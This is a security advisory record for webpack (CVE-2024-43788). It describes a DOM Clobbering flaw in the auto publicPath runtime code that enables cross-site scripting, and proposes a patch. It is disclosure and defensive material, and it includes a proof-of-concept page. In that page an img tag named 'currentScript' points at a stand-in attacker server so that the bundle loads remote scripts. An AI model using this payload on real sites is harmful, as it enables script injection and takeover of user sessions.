{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "webpack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0-alpha.0"
            },
            {
              "fixed": "5.94.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-43788"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-08-27T19:50:40Z",
    "nvd_published_at": "2024-08-27T17:15:07Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nWe discovered a DOM Clobbering vulnerability in Webpack\u2019s `AutoPublicPathRuntimeModule`. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an `img` tag with an unsanitized `name` attribute) are present.\n\nWe found the real-world exploitation of this gadget in the Canvas LMS which allows XSS attack happens through an javascript code compiled by Webpack (the vulnerable part is from Webpack). We believe this is a severe issue. If Webpack\u2019s code is not resilient to DOM Clobbering attacks, it could lead to significant security vulnerabilities in any web application using Webpack-compiled code.\n\n\n### Details\n\n#### Backgrounds\n\nDOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:\n\n[1] https://scnps.co/papers/sp23_domclob.pdf\n[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/\n\n\n#### Gadgets found in Webpack\n\nWe identified a DOM Clobbering vulnerability in Webpack\u2019s `AutoPublicPathRuntimeModule`. When the `output.publicPath` field in the configuration is not set or is set to `auto`, the following code is generated in the bundle to dynamically resolve and load additional JavaScript files:\n\n```\n/******/ \t/* webpack/runtime/publicPath */\n/******/ \t(() =\u003e {\n/******/ \t\tvar scriptUrl;\n/******/ \t\tif (__webpack_require__.g.importScripts) scriptUrl = __webpack_require__.g.location + \"\";\n/******/ \t\tvar document = __webpack_require__.g.document;\n/******/ \t\tif (!scriptUrl \u0026\u0026 document) {\n/******/ \t\t\tif (document.currentScript)\n/******/ \t\t\t\tscriptUrl = document.currentScript.src;\n/******/ \t\t\tif (!scriptUrl) {\n/******/ \t\t\t\tvar scripts = document.getElementsByTagName(\"script\");\n/******/ \t\t\t\tif(scripts.length) {\n/******/ \t\t\t\t\tvar i = scripts.length - 1;\n/******/ \t\t\t\t\twhile (i \u003e -1 \u0026\u0026 (!scriptUrl || !/^http(s?):/.test(scriptUrl))) scriptUrl = scripts[i--].src;\n/******/ \t\t\t\t}\n/******/ \t\t\t}\n/******/ \t\t}\n/******/ \t\t// When supporting browsers where an automatic publicPath is not supported you must specify an output.publicPath manually via configuration\n/******/ \t\t// or pass an empty string (\"\") and set the __webpack_public_path__ variable from your code to use your own logic.\n/******/ \t\tif (!scriptUrl) throw new Error(\"Automatic publicPath is not supported in this browser\");\n/******/ \t\tscriptUrl = scriptUrl.replace(/#.*$/, \"\").replace(/\\?.*$/, \"\").replace(/\\/[^\\/]+$/, \"/\");\n/******/ \t\t__webpack_require__.p = scriptUrl;\n/******/ \t})();\n```\n\nHowever, this code is vulnerable to a DOM Clobbering attack. The lookup on the line with `document.currentScript` can be shadowed by an attacker, causing it to return an attacker-controlled HTML element instead of the current script element as intended. In such a scenario, the `src` attribute of the attacker-controlled element will be used as the `scriptUrl` and assigned to `__webpack_require__.p`. If additional scripts are loaded from the server, `__webpack_require__.p` will be used as the base URL, pointing to the attacker\u0027s domain. This could lead to arbitrary script loading from the attacker\u0027s server, resulting in severe security risks.\n\n### PoC\n\nPlease note that we have identified a real-world exploitation of this vulnerability in the Canvas LMS. Once the issue has been patched, I am willing to share more details on the exploitation. For now, I\u2019m providing a demo to illustrate the concept.\n\nConsider a website developer with the following two scripts, `entry.js` and `import1.js`, that are compiled using Webpack:\n\n```\n// entry.js\nimport(\u0027./import1.js\u0027)\n  .then(module =\u003e {\n    module.hello();\n  })\n  .catch(err =\u003e {\n    console.error(\u0027Failed to load module\u0027, err);\n  });\n```\n\n```\n// import1.js\nexport function hello () {\n  console.log(\u0027Hello\u0027);\n}\n```\n\nThe webpack.config.js is set up as follows:\n```\nconst path = require(\u0027path\u0027);\n\nmodule.exports = {\n  entry: \u0027./entry.js\u0027, // Ensure the correct path to your entry file\n  output: {\n    filename: \u0027webpack-gadgets.bundle.js\u0027, // Output bundle file\n    path: path.resolve(__dirname, \u0027dist\u0027), // Output directory\n    publicPath: \"auto\", // Or leave this field not set\n  },\n  target: \u0027web\u0027,\n  mode: \u0027development\u0027,\n};\n```\n\nWhen the developer builds these scripts into a bundle and adds it to a webpage, the page could load the `import1.js` file from the attacker\u0027s domain, `attacker.controlled.server`. The attacker only needs to insert an `img` tag with the `name` attribute set to `currentScript`. This can be done through a website\u0027s feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.\n\n```\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\n  \u003ctitle\u003eWebpack Example\u003c/title\u003e\n  \u003c!-- Attacker-controlled Script-less HTML Element starts--!\u003e\n  \u003cimg name=\"currentScript\" src=\"https://attacker.controlled.server/\"\u003e\u003c/img\u003e\n  \u003c!-- Attacker-controlled Script-less HTML Element ends--!\u003e\n\u003c/head\u003e\n\u003cscript src=\"./dist/webpack-gadgets.bundle.js\"\u003e\u003c/script\u003e\n\u003cbody\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n### Impact\n\nThis vulnerability can lead to cross-site scripting (XSS) on websites that include Webpack-generated files and allow users to inject certain scriptless HTML tags with improperly sanitized name or id attributes.\n\n### Patch\n\nA possible patch to this vulnerability could refer to the Google Closure project which makes itself resistant to DOM Clobbering attack: https://github.com/google/closure-library/blob/b312823ec5f84239ff1db7526f4a75cba0420a33/closure/goog/base.js#L174\n\n```\n/******/ \t/* webpack/runtime/publicPath */\n/******/ \t(() =\u003e {\n/******/ \t\tvar scriptUrl;\n/******/ \t\tif (__webpack_require__.g.importScripts) scriptUrl = __webpack_require__.g.location + \"\";\n/******/ \t\tvar document = __webpack_require__.g.document;\n/******/ \t\tif (!scriptUrl \u0026\u0026 document) {\n/******/ \t\t\tif (document.currentScript \u0026\u0026 document.currentScript.tagName.toUpperCase() === \u0027SCRIPT\u0027) // Assume attacker cannot control script tag, otherwise it is XSS already :\u003e\n/******/ \t\t\t\tscriptUrl = document.currentScript.src;\n/******/ \t\t\tif (!scriptUrl) {\n/******/ \t\t\t\tvar scripts = document.getElementsByTagName(\"script\");\n/******/ \t\t\t\tif(scripts.length) {\n/******/ \t\t\t\t\tvar i = scripts.length - 1;\n/******/ \t\t\t\t\twhile (i \u003e -1 \u0026\u0026 (!scriptUrl || !/^http(s?):/.test(scriptUrl))) scriptUrl = scripts[i--].src;\n/******/ \t\t\t\t}\n/******/ \t\t\t}\n/******/ \t\t}\n/******/ \t\t// When supporting browsers where an automatic publicPath is not supported you must specify an output.publicPath manually via configuration\n/******/ \t\t// or pass an empty string (\"\") and set the __webpack_public_path__ variable from your code to use your own logic.\n/******/ \t\tif (!scriptUrl) throw new Error(\"Automatic publicPath is not supported in this browser\");\n/******/ \t\tscriptUrl = scriptUrl.replace(/#.*$/, \"\").replace(/\\?.*$/, \"\").replace(/\\/[^\\/]+$/, \"/\");\n/******/ \t\t__webpack_require__.p = scriptUrl;\n/******/ \t})();\n```\n\nPlease note that if we do not receive a response from the development team within three months, we will disclose this vulnerability to the CVE agent.",
  "id": "GHSA-4vvj-4cpr-p986",
  "modified": "2024-09-03T17:09:18Z",
  "published": "2024-08-27T19:50:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/webpack/webpack/security/advisories/GHSA-4vvj-4cpr-p986"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-43788"
    },
    {
      "type": "WEB",
      "url": "https://github.com/webpack/webpack/issues/18718#issuecomment-2326296270"
    },
    {
      "type": "WEB",
      "url": "https://github.com/webpack/webpack/commit/955e057abc6cc83cbc3fa1e1ef67a49758bf5a61"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/webpack/webpack"
    },
    {
      "type": "WEB",
      "url": "https://research.securitum.com/xss-in-amp4email-dom-clobbering"
    },
    {
      "type": "WEB",
      "url": "https://scnps.co/papers/sp23_domclob.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:L/VI:L/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Webpack\u0027s AutoPublicPathRuntimeModule has a DOM Clobbering Gadget that leads to XSS"
}